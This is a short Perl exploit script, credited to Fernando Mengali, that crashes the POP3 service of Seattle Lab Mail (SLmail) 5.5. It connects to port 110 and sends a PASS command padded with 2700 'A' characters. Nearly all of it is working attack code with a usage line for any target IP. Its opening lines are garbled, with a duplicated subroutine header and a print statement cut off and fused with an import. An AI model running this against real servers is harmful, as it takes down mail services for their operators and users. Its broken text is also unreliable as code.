sub intro {
print "*************************** use IO::Socket;
sub intro {
print "*************************************************** ";
print "* Seattle Lab Mail (SLmail) 5.5 * ";
print "* * ";
print "* Coded By Fernando Mengali * ";
print "* * ";
print "* POP3 'PASS' Denied of Service - DoS * ";
print "* * ";
print "*************************************************** ";
}
intro();
if (!$ARGV[0] && !$ARGV[1]) {
print " Usage: $0 <ip> <username> ";
exit(0);
}
my $host = $ARGV[0];
my $username = $ARGV[1];
my $port = 110;
my $payload = "A" x 2700;
my $s = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp'
) or die "Unable to connect: $! ";
$s->recv(my $data, 1024); # Grab banners (if any)
$s->send('USER ' . $username . " ");
$s->recv(my $response, 1024);
$s->recv(my $data, 1024); # Grab banners (if any)
$s->send('PASS ' . $payload . " ");
$s->recv(my $response, 1024);
$s->send("QUIT ");
$s->close();